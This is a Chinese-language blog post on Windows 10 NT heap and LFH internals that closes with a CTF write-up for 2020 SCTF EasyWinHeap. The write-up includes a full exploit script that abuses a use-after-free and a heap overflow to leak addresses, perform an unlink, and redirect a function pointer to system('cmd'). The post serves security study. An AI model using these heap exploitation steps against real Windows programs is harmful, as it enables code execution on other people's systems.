windows堆基础知识

win10的memory allocator基本上分为两种:

  1. Nt Heap
    • 默认的memory allocator
      • 后端管理器(Back-End)
      • 前端管理器(Front-End)
  2. SegmentHeap
    • Win10中全新的memory allocator机制

在LFH未启用时,我们call malloc

image-20250508164639436

启用LFH后,第一次或LFH能用的空间都用完时,会先跟Back-End要一大块空间来管理

启用LFH之后分配相同大小时,会直接给Front-End管理

image-20250508164801386

Nt Heap

Back-End

数据结构

_HEAP

_HEAP是每个堆的核心结构,用来管理该heap,每个Heap都有一个_HEAPheap开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//0x2c0 bytes (sizeof)
struct _HEAP
{
union
{
struct _HEAP_SEGMENT Segment; //0x0
struct
{
struct _HEAP_ENTRY Entry; //0x0
ULONG SegmentSignature; //0x10
ULONG SegmentFlags; //0x14
struct _LIST_ENTRY SegmentListEntry; //0x18
struct _HEAP* Heap; //0x28
VOID* BaseAddress; //0x30
ULONG NumberOfPages; //0x38
struct _HEAP_ENTRY* FirstEntry; //0x40
struct _HEAP_ENTRY* LastValidEntry; //0x48
ULONG NumberOfUnCommittedPages; //0x50
ULONG NumberOfUnCommittedRanges; //0x54
USHORT SegmentAllocatorBackTraceIndex; //0x58
USHORT Reserved; //0x5a
struct _LIST_ENTRY UCRSegmentList; //0x60
};
};
ULONG Flags; //0x70
ULONG ForceFlags; //0x74
ULONG CompatibilityFlags; //0x78
ULONG EncodeFlagMask; //0x7c
struct _HEAP_ENTRY Encoding; //0x80
ULONG Interceptor; //0x90
ULONG VirtualMemoryThreshold; //0x94
ULONG Signature; //0x98
ULONGLONG SegmentReserve; //0xa0
ULONGLONG SegmentCommit; //0xa8
ULONGLONG DeCommitFreeBlockThreshold; //0xb0
ULONGLONG DeCommitTotalFreeThreshold; //0xb8
ULONGLONG TotalFreeSize; //0xc0
ULONGLONG MaximumAllocationSize; //0xc8
USHORT ProcessHeapsListIndex; //0xd0
USHORT HeaderValidateLength; //0xd2
VOID* HeaderValidateCopy; //0xd8
USHORT NextAvailableTagIndex; //0xe0
USHORT MaximumTagIndex; //0xe2
struct _HEAP_TAG_ENTRY* TagEntries; //0xe8
struct _LIST_ENTRY UCRList; //0xf0
ULONGLONG AlignRound; //0x100
ULONGLONG AlignMask; //0x108
struct _LIST_ENTRY VirtualAllocdBlocks; //0x110
struct _LIST_ENTRY SegmentList; //0x120
USHORT AllocatorBackTraceIndex; //0x130
ULONG NonDedicatedListLength; //0x134
VOID* BlocksIndex; //0x138
VOID* UCRIndex; //0x140
struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; //0x148
struct _LIST_ENTRY FreeLists; //0x150
struct _HEAP_LOCK* LockVariable; //0x160
LONG (*CommitRoutine)(VOID* arg1, VOID** arg2, ULONGLONG* arg3); //0x168
union _RTL_RUN_ONCE StackTraceInitVar; //0x170
struct _RTL_HEAP_MEMORY_LIMIT_DATA CommitLimitData; //0x178
VOID* FrontEndHeap; //0x198
USHORT FrontHeapLockCount; //0x1a0
UCHAR FrontEndHeapType; //0x1a2
UCHAR RequestedFrontEndHeapType; //0x1a3
WCHAR* FrontEndHeapUsageData; //0x1a8
USHORT FrontEndHeapMaximumIndex; //0x1b0
volatile UCHAR FrontEndHeapStatusBitmap[129]; //0x1b2
struct _HEAP_COUNTERS Counters; //0x238
struct _HEAP_TUNING_PARAMETERS TuningParameters; //0x2b0
};

其中

1
2
ULONG EncodeFlagMask;                                                   //0x7c
struct _HEAP_ENTRY Encoding; //0x80

EncodeFlagMask是用来判断是否要encode该heap中chunk的header

Encoding用来与chunk header做xor的cookie

所有的chunk都会经过xor,在存入chunk header时,会将整个header^(_HEAP->Encoding)再存入

decode时会验证,确保没被改掉,验证方式为:先异或回原来的值,然后前三个byte异或后和第四个byte比对

1
2
VOID* BlocksIndex;                                                      //0x138
struct _LIST_ENTRY FreeLists; //0x150

BlocksIndex是Back-End的重要结构,之后会详细讲解

FreeList串接Back-End中的所有free chunk,类似unsorted bin

1
2
VOID* FrontEndHeap;                                                     //0x198
WCHAR* FrontEndHeapUsageData; //0x1a8

FrontEndHeap指向管理Front-End的Heap的结构

FrontEndHeapUsageData指向一个对应各大小的chunk的阵列,记录各种大小chunk使用次数,到达某种程度时会采用Front-End allocater

_HEAP_ENTRY(chunk)

_HEAP_ENTRY(chunk)

  • 分为三种情况
    • Allocated chunk
    • Freed chunk
    • VirtualAlloc chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
//0x10 bytes (sizeof)
struct _HEAP_ENTRY
{
union
{
struct _HEAP_UNPACKED_ENTRY UnpackedEntry; //0x0
struct
{
VOID* PreviousBlockPrivateData; //0x0
union
{
struct
{
USHORT Size; //0x8
UCHAR Flags; //0xa
UCHAR SmallTagIndex; //0xb
};
struct
{
ULONG SubSegmentCode; //0x8
USHORT PreviousSize; //0xc
union
{
UCHAR SegmentOffset; //0xe
UCHAR LFHFlags; //0xe
};
UCHAR UnusedBytes; //0xf
};
ULONGLONG CompactHeader; //0x8
};
};
struct _HEAP_EXTENDED_ENTRY ExtendedEntry; //0x0
struct
{
VOID* Reserved; //0x0
union
{
struct
{
USHORT FunctionIndex; //0x8
USHORT ContextValue; //0xa
};
ULONG InterceptorValue; //0x8
};
USHORT UnusedBytesLength; //0xc
UCHAR EntryOffset; //0xe
UCHAR ExtendedBlockSignature; //0xf
};
struct
{
VOID* ReservedForAlignment; //0x0
union
{
struct
{
ULONG Code1; //0x8
union
{
struct
{
USHORT Code2; //0xc
UCHAR Code3; //0xe
UCHAR Code4; //0xf
};
ULONG Code234; //0xc
};
};
ULONGLONG AgregateCode; //0x8
};
};
};
};

虽说这个结构体有点复杂,但是是取决于这个chunk的状态的

Inused状态

1
2
3
4
5
6
7
8
9
10
struct _HEAP_ENTRY{
void * PreviousBlockPrivateData; //0x0
Uint2B Size; //0x8
Uchar Flags; //0xa
Uchar SmallTagIndex; //0xb
Uint2B PreviousSize; //0xc
Uchar SegmentOffset; //0xe
Uchar Unusedbyte; //0xf
Uchar UserData[]; //0x10
}

PreviousBlockPrivateData基本上是前一块chunk的数据

Size存入的方式是(size>>4)即0x10对齐

Flag表示该chunk是否inused

SmallTagIndexSizeFlags成员三字节数据逐个xor结果, 取出时会进行校验

PreviousSize是相邻前一块chunk的Size,一样是>>4过后的数值

SegmentOffset某些情况用来找segment

Unusebyte记录user malloc后所剩的chunk空间,可以用来判断chunk的状态是FrontEnd or BackEnd

UserData是User所使用的区块

freed状态

1
2
3
4
5
6
7
8
9
10
11
struct _HEAP_ENTRY{
void * PreviousBlockPrivateData; //0x0
Uint2B Size; //0x8
Uchar Flags; //0xa
Uchar SmallTagIndex; //0xb
Uint2B PreviousSize; //0xc
Uchar SegmentOffset; //0xe
Uchar Unusedbyte; //0xf
struct _LIST_ENTRY* Flink; //0x10
struct _LIST_ENTRY* Blink; //0x18
}

Flink指向linked list中下一块chunk

Blink指向linked list中上一块chunk

Unusedbyte恒为0

_HEAP_VIRTUAL_ALLOC_ENTRY(mmap chunk)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//0x40 bytes (sizeof)
struct _HEAP_VIRTUAL_ALLOC_ENTRY
{
struct _LIST_ENTRY Entry; //0x0
struct _HEAP_ENTRY_EXTRA ExtraStuff; //0x10
ULONGLONG CommitSize; //0x20
ULONGLONG ReserveSize; //0x28
struct _HEAP_ENTRY BusyBlock; //0x30
};
//0x10 bytes (sizeof)
struct _LIST_ENTRY
{
struct _LIST_ENTRY* Flink; //0x0
struct _LIST_ENTRY* Blink; //0x8
};
//0x10 bytes (sizeof)
struct _HEAP_ENTRY_EXTRA
{
union
{
struct
{
USHORT AllocatorBackTraceIndex; //0x0
USHORT TagIndex; //0x2
ULONGLONG Settable; //0x8
};
struct
{
ULONGLONG ZeroInit; //0x0
ULONGLONG ZeroInit1; //0x8
};
};
};

BusyBlock的结构体和上述的chunk的结构体是类似的

其中

Size是指的是unused size,存储时也没有进行size >> 4shift操作

UnusedBytes恒为4

image-20250508160927164

在Free完一块chunk后,会将该chunk放在FreeLists中,会按照大小决定插入的位置

_HEAP->BlocksIndex
1
2
3
4
5
6
7
8
9
10
11
12
13
//0x38 bytes (sizeof)
struct _HEAP_LIST_LOOKUP
{
struct _HEAP_LIST_LOOKUP* ExtendedLookup; //0x0
ULONG ArraySize; //0x8
ULONG ExtraItem; //0xc
ULONG ItemCount; //0x10
ULONG OutOfRangeItems; //0x14
ULONG BaseIndex; //0x18
struct _LIST_ENTRY* ListHead; //0x20
ULONG* ListsInUseUlong; //0x28
struct _LIST_ENTRY** ListHints; //0x30
};

ExtendedLookup指向下一个ExtendedLookup,通常下一个会管理更大块chunk

ArraySize该结构管理的最大chunk的大小,通常为0x80(实际上是0x800)

ItemCount目前该结构所管理的chunk数

OutofRangeItems是超出该结构所管理大小的chunk数量

BaseIndex该结构所管理chunk的起始index

ListHead指向FreeList的Head

ListsInUseUlong用来判断ListHint中是否有合适大小的chunk,是一个bitmap

ListHint用来指向相对应大小的chunk array,大小为0x10为一个间隔

image-20250508162938606

分配机制

基本上分为三种:

  • Size<=0x4000
  • 0x4000 < size <=0xff000
  • Size > 0xff000
Size <= 0x4000
  • 首先会看该Size对应的FrontEndHeapStatusBitmap是否启用了LFH

    • 没有的话,会对对应的FrontEndHeapUsageData加上0x21
    • 并且检查值是否超过0xff00&0x1f后超过0x10,如果通过这个条件就会启用LFH
  • 接下来会看对应的ListHint是否有值,会以ListHint中的chunk为优先

  • 如果有值,就会看该chunk的Flink大小是否刚好也是同样的Size

    • 如果是的话,就会将该ListHint填上Flink的值(1)

    • 不是则清空ListHint(2)

    • 最后则unlink该chunk,把这块chunk从linked list中移除,返回给使用者,并将header异或回去

  • 如果没有刚好适合的

    • 从比较大的ListHint中找,有找到就执行(1)(2)
    • 然后将该chunk进行切割,剩下大小重新加入Freelist,如果可以放进ListHint就会放进去
    • 最后回传切割好的chunk给使用者,并将header异或回去
  • 如果Freelist中都没有

    • 尝试ExtendHeap加大Heap空间
    • 再从extend出来的chunk拿
    • 接着后面一样切割,放回ListHint,还原Header
0x4000 < size <=0xff000
  • 除了没有对LFH相关操作外,其余都跟0x4000一样
Size > 0xff000
  • 直接使用ZwAllocateVirtualThreshold
  • 类似mmap直接给一大块,并且会插入_HEAP->VirtualAllocdBlocks这个linked list
    • 这个linked list是串接该Heap VirtualAllocate出来的区段用的

Free机制

可分为两种:

  • Size <= 0xff000
  • Size > 0xff000
Size <= 0xff000
  • 会先检查alignment,利用unused byte判断该chunk状态

    • 如果是LFH下,对应的FrontEndHeapUsageData减1
    • 接着会判断前后的chunk是否为freed,是的话合并
      • 此时会把可以合并的chunk做unlink,并将ListHint移除
      • 移除方式与前面相同,看看下一块是不是同样大小,使得话补上ListHint
  • 合并完,update size和prevsize,然后会看看是不是在FreeList的最前或最后,是的话就插入FreeList,不是就从ListHint中插入,并且update ListHint,插入时也会对linked list检查

    • 但是这个检查不会abort,其原因是如果检查失败是不会做unlink写入的
Size > 0xff000
  • 检查该chunk的linked list,并从_HEAP->VirtualAllocdBlocks移除
  • 接着使用RtlpSecaMemFreeVirtualMemory将chunk整个munmap掉

Back-End Exploitation

基本上与Linux中的unlink很类似,绕过方法差不多,简而言之是利用从linked list移除node的行为来做有限制的写入

要注意的是在会decode的地方,都要让他正常decode,也就是check sum要通过

另外一点是Flink及Blink并不是指向chunk开头,而是直接指向User data部分,也就是不太需要做偏移伪造chunk,所以找到一个指向该userdata的pointer让他绕过double linked list的验证就好了

一般来说Unlink完之后就有任意地址读写了,基本getshell的方法都是通过ROP,那么就要泄露地址

  • 代码地址
    • PEB --> text
  • 共享库地址
    • text --> IAT --> xxx.dll --> xxx.dll
    • _HEAP->LockVariable.Lock --> ntdll.dll
    • CrticalSection->DebugInfo --> ntdll.dll
  • 栈地址
    • Kernel32.dll --> kernelbase.dll --> KERNELBASE!BasepFilterInfo --> stack address
    • kernel32.dll --> ntdll.dll --> ntdll!PebLdr --> PEB --> TEB --> stack address

要么纯ROP到getshell,要么ROP to VirtualProtect/VirtualAlloc,然后Jmp to shellcode

Front-End

  • 在非Debug下才会enable
  • Size < 0x4000

数据结构

_LFH_HEAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> dt _LFH_HEAP
ntdll!_LFH_HEAP
+0x000 Lock : _RTL_SRWLOCK
+0x008 SubSegmentZones : _LIST_ENTRY
+0x018 Heap : Ptr64 Void
+0x020 NextSegmentInfoArrayAddress : Ptr64 Void
+0x028 FirstUncommittedAddress : Ptr64 Void
+0x030 ReservedAddressLimit : Ptr64 Void
+0x038 SegmentCreate : Uint4B
+0x03c SegmentDelete : Uint4B
+0x040 MinimumCacheDepth : Uint4B
+0x044 CacheShiftThreshold : Uint4B
+0x048 SizeInCache : Uint8B
+0x050 RunInfo : _HEAP_BUCKET_RUN_INFO
+0x060 UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY
+0x2a0 MemoryPolicies : _HEAP_LFH_MEM_POLICIES
+0x2a4 Buckets : [129] _HEAP_BUCKET
+0x4a8 SegmentInfoArrays : [129] Ptr64 _HEAP_LOCAL_SEGMENT_INFO
+0x8b0 AffinitizedInfoArrays : [129] Ptr64 _HEAP_LOCAL_SEGMENT_INFO
+0xcb8 SegmentAllocator : Ptr64 _SEGMENT_HEAP
+0xcc0 LocalData : [1] _HEAP_LOCAL_DATA

Heap指向对应的_HEAP

Buckets用来寻找配置大小对应到Block的阵列结构

SegmentInfoArrays不同大小对应到不同的Segment_info结构,主要管理对应的Subsegment

LocalData其中有个成员是指向LFH本身,用来找回LFH

_HEAP_BUCKET
1
2
3
4
5
6
ntdll!_HEAP_BUCKET
+0x000 BlockUnits : Uint2B
+0x002 SizeIndex : UChar
+0x003 UseAffinity : Pos 0, 1 Bit
+0x003 DebugFlags : Pos 1, 2 Bits
+0x003 Flags : UChar

BlockUnits要分配出去的一个block大小>>4

SizeIndex使用者需要的大小>>4

_HEAP_LOCAL_SEGMENT_INFO
1
2
3
4
5
6
7
8
9
10
ntdll!_HEAP_LOCAL_SEGMENT_INFO
+0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA
+0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT
+0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT
+0x090 SListHeader : _SLIST_HEADER
+0x0a0 Counters : _HEAP_BUCKET_COUNTERS
+0x0a8 LastOpSequence : Uint4B
+0x0ac BucketIndex : Uint2B
+0x0ae LastUsed : Uint2B
+0x0b0 NoThrashCount : Uint2B

LocalData对应到_LFH_HEAP->LocalData 方便从Segmentinfo找回_LFH_HEAP

BucketIndex是这个数组对应的BucketIndex,也就是_LFH_HEAP->SegmentInfoArrays数组中对应的下标

ActiveSubsegment一个_HEAP_SUBSEGMENT结构体,对应到分配出去的Subsegment,记录了剩余多少chunk,该Userblock最大分配数等等

CachedItems一个_HEAP_SUBSEGEMENT结构体数组,存放对应到该SegmentInfo且还有可以分配chunk给user的Subsegment,当ActiveSubsegment用完之后就会从这里填充置换掉

image-20250509160224918
_HEAP_SUBSEGMENT
1
2
3
4
5
6
7
8
9
10
11
12
13
ntdll!_HEAP_SUBSEGMENT
+0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO
+0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER
+0x010 DelayFreeList : _SLIST_HEADER
+0x020 AggregateExchg : _INTERLOCK_SEQ
+0x024 BlockSize : Uint2B
+0x026 Flags : Uint2B
+0x028 BlockCount : Uint2B
+0x02a SizeIndex : UChar
+0x02b AffinityIndex : UChar
+0x024 Alignment : [2] Uint4B
+0x02c Lock : Uint4B
+0x030 SFreeListEntry : _SINGLE_LIST_ENTRY

LocalInfo指回对应的_HEAP_LOCAL_SEGMENT_INFO

UserBlocks一个_HEAP_USERDATA_HEADER结构体,LFH的分配池,也就是要分配出去的Chunk所在的位置

AggregateExchg用来管理对应的UserBlock中还有多少的freed chunk可以分配

BlockCount在该UserBlock中每个Block(chunk)的大小

BlockCount在该UserBlock中Block的总数

SizeIndex该UserBlock对应到的SizeIndex,也就是CachedItems数组的下标

_INTERLOCK_SEQ
1
2
3
4
5
6
ntdll!_INTERLOCK_SEQ
+0x000 Depth : Uint2B
+0x002 Hint : Pos 0, 15 Bits
+0x002 Lock : Pos 15, 1 Bit
+0x002 Hint16 : Uint2B
+0x000 Exchg : Int4B

Depth该UserBlock中所剩下的Freed chunk数量

Lock就是锁

_HEAP_USERDATA_HEADER
1
2
3
4
5
6
7
8
9
10
11
12
ntdll!_HEAP_USERDATA_HEADER
+0x000 SFreeListEntry : _SINGLE_LIST_ENTRY
+0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT
+0x008 Reserved : Ptr64 Void
+0x010 SizeIndexAndPadding : Uint4B
+0x010 SizeIndex : UChar
+0x011 GuardPagePresent : UChar
+0x012 PaddingBytes : Uint2B
+0x014 Signature : Uint4B
+0x018 EncodedOffsets : _HEAP_USERDATA_OFFSETS
+0x020 BusyBitmap : _RTL_BITMAP_EX
+0x030 BitmapData : [1] Uint8B

SubSegment指回这个结构体所在的SubSegment

EncodeOffsets用来验证该chunkheader是否被修改过

BusyBitmap记录该UserBlock哪些chunk有在用的bitmap

_HEAP_ENTRY(chunk)
1
2
3
4
5
6
7
8
struct _HEAP_ENTRY{
void * PreviousBlockPrivateData;
Uint4B SubSegmentCode;
Uint2B PreviousSize;
Uchar SegmentOffset;
Uchar Unusedbyte;
Uchar UserData[];
}

SubSegmentCode是Encode过的metadata用来推回userblock的位置

PreviousSize是该chunk在UserBlock中的index

Unusedbyte来判断该LFH chunk状态

  • Freed, 恒为0x80
  • Inused, UnusedBytes & 0x80 != 0
image-20250509161925186
remark

EncodedOffsets在UserBlock初始化时设置,其值是以下四个值的xor

  • (sizeof(userblock header)|(BlockUnit*0x10<<16))
  • LFHkey
  • UserBlock address
  • _LFH_HEAP address

所有的chunk header在初始化时都会经过xor,为下面四个值的xor

  • _HEAP address
  • LFHkey
  • Chunk address >> 4
  • ((chunk address) - (UserBlock address)) << 12

分配机制

初始化
  • FrintEndHeapUsageData[x] & 0x1f > 0x10时,下一次allocate会对LFH做出初始化
    • 会先ExtendFrontEndUsageData及增加更大的BlocksIndex (0x80-0x400)
    • 建立FrontEndHeap
    • 初始化SegmentInfoArrays[idx]
  • 接下来在allocate相同大小的chunk就会开始使用LFH

在第17次的malloc同一个size的时候,此时对应的FrontEndHeapUsageData[x]=0x231 & 0x1f > 0x10,然后heap->CompatibilityFlag |= 0x20000000,设置上这个flag后,下次allocate就会去初始化LFH

malloc同一个size第18次时

  • ExtendFrontEndUsageData及增加更大的BlocksIndex(0x80-0x400),并设置对应的bitmap
    • 并在对应的FrontEndHeapUsageData写上对应的index,此时可enable LFH范围变为(idx:0-0x400)
  • 建立并初始化 FrontEndHeap(mmap)
  • 初始化SegmentInfoArrays[idx]
    • SegmentInfoArrays[BucketIndex] 填上segmentInfo

image-20250509195843208

malloc同一个size第19次时

  • Allocate Userblock 并初始化
    • 设置对应的chunk
  • 设置对应的ActiviteSubsegment
  • 随机返回其中的一个chunk

image-20250509200159429

Allocate
  • 先看看ActiveSubsegment中是否有可分配的chunk
    • ActiveSubsegment->depth判断
  • 如果没有则会从CachedItem找,有找到的话会把ActiveSubsegment换成CachedItem中的subsegment
  • 取得RtlpLowFragHeapRandomData[x]上的值,下一次会从RtlpLowFragHeapRandomData[x+1]取,当下一次轮回时x=rand()%256开始取,x是一个byte的,范围在0x00-0x7f
  • 最后的index为RtlpLowFragHeapRandomData[x]*maxidx>>7,如果冲突则往后取最近的
  • 检查(unused byte & 0x3f) != 0表示chunk是freed
  • 最后设置index及unsed byte就返回给用户了
Free
  • 用chunk header寻找UserBlock,然后找回对应的SubSegment,设置unused byte=0x80,清除对应的bitmap,update AggregateExchg
  • ActiveSubsegment并不等于就是free掉chunk的subsegment

Front-End Exploitation

假设我们拥有Use after free的漏洞,但是因为LFH的随机性,我们无法预测下一块chunk在哪里,使得我们难以利用

这时我们可以通过填满Userblock的方式,在free掉其中一块,那么下一次该chunk必定会拿到同一块,我们可以利用这个特性,拿到overlap chunk并进一步利用

例题

2020SCTF_EasyWinHeap

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case 1:
heapIndex = 0;
heapEntry = &MyHeapEntry_0[1].content; // 跳过12个字节
break;
......
printString("size >");
scanf("%ud", (char)allocSizeBuffer);
getchar();
if ( *(_DWORD *)allocSizeBuffer > 0x90u )
break;
sizeRoundedUp = (*(_DWORD *)allocSizeBuffer >> 4) + 1;
allocatedBlock = HeapAlloc(hHeap, 1u, sizeRoundedUp);// 分配的chunk的size会>>4
heapBase = MyHeapEntry_0;
MyHeapEntry_0[heapIndex].func_ptr = (void *)((unsigned int)puts | sizeRoundedUp);
heapBase[heapIndex].content = allocatedBlock;

省略部分有一个堆条目的查找,可能是因为编译器优化的原因,导致十分复杂,但大致逻辑是一次检查多个条目,根据第一个寻找到的空位置来调整索引值

看到这个分配逻辑,有个func_ptr感觉或许有点用,其中要注意的是 我们输入的Size会>>4)+1然后与puts进行或的操作,对比下述的show操作,可以知道这个func_ptr的低位是size位,但是问题在于此时HeapAlloc的size是处理过的size

1
2
3
4
5
6
7
8
case 2:
printString("index >");
scanf("%ud", (char)deleteIndexBuffer);
getchar();
if ( *(_DWORD *)deleteIndexBuffer >= 0x10u || !MyHeapEntry_0[*(_DWORD *)deleteIndexBuffer].heap_addr )
goto LABEL_29;
HeapFree(hHeap, 1u, MyHeapEntry_0[*(_DWORD *)deleteIndexBuffer].heap_addr);
continue;

这个delete的逻辑,显然是一个UAF

1
2
3
4
5
6
7
8
case 3:
printString("index >");
scanf("%ud", (char)showIndexBuffer);
getchar();
if ( *(_DWORD *)showIndexBuffer >= 0x10u || !MyHeapEntry_0[*(_DWORD *)showIndexBuffer].heap_addr )
goto LABEL_29;
((void (__cdecl *)(void *))((int)MyHeapEntry_0[*(_DWORD *)showIndexBuffer].func_ptr & 0xFFFFFFF0))(MyHeapEntry_0[*(_DWORD *)showIndexBuffer].heap_addr);
continue;

这个show是通过直接调用这个上面提到的func_ptr的,那么如果能hijack这个结构体,就能做到一个getcmd的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
case 4:
printString("index >");
scanf("%ud", (char)editIndexBuffer);
getchar();
if ( *(_DWORD *)editIndexBuffer >= 0x10u )
goto LABEL_29;
entryOffset = *(_DWORD *)editIndexBuffer;
if ( !MyHeapEntry_0[*(_DWORD *)editIndexBuffer].heap_addr )
goto LABEL_29;
printString("content >");
contentIndex = 0;
heapProperties = MyHeapEntry_0[entryOffset].func_ptr;
contentAddress = MyHeapEntry_0[entryOffset].heap_addr;
contentSize = 16 * ((unsigned __int8)heapProperties & 0xF);
inputChar = getchar();
if ( inputChar != 10 )
{
do
{
contentAddress[contentIndex] = inputChar;
if ( ++contentIndex == contentSize - 1 )
break;
inputChar = getchar();
}
while ( inputChar != 10 );
printString = (void (__cdecl *)(const char *))puts;
}
contentAddress[contentIndex] = 0;
continue;

edit操作,Size会多乘以0x10,因此是有个堆溢出的漏洞的

思路

因为开了ASLR,先想的是通过free后的Flink来泄露heap_base,会发现其实存储每一个堆条目信息的,也是存储在heap上的,因此就可以打unlink辣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
p = run()

def choice(idx):
sla(b'option >\r\n',tbs(idx))

def add(size):
choice(1)
sla(b'size >\r\n',tbs(size))

def delete(idx):
choice(2)
sla(b'index >\r\n',tbs(idx))

def show(idx):
choice(3)
sla(b'index >\r\n',tbs(idx))

def edit(idx,content):
choice(4)
sla(b'index >\r\n',tbs(idx))
sla(b'content >\r\n',content)

# pause()
add(32) #0
add(32) #1
add(32) #2
delete(1)
show(1)
heap_base = u32(ru(b"\r\n", drop=True)[:4])-0x550

leak("heap_base",heap_base)

edit(1,p32(heap_base+0x4A4-4)+p32(heap_base+0x4A4))
# sleep(1)
pause()
delete(0)
show(1)
image_base=u32(ru(b"\r\n", drop=True)[:4])-0x1043
leak("image_base",image_base)

puts_iat = image_base + 0x20c4
edit(1, p32(puts_iat)+p32(0)+p32(heap_base+0x4A4));show(1)
ucrt_base = u32(r(4))-0xb89f0
log.warn("ucrt_base:" + hex(ucrt_base))
system = ucrt_base+0xefda0

# modify func pointer to system and tigger it
edit(0, 'cmd\x00')
edit(2, p32(system)+p32(heap_base+0x6D0))
show(0)

irt()

不过我在书写脚本的时候,发现unlink的时候,得在x32dbg才能过得去free(不知道为什么。。。。

参考

angel boy

xuanxuanblingbling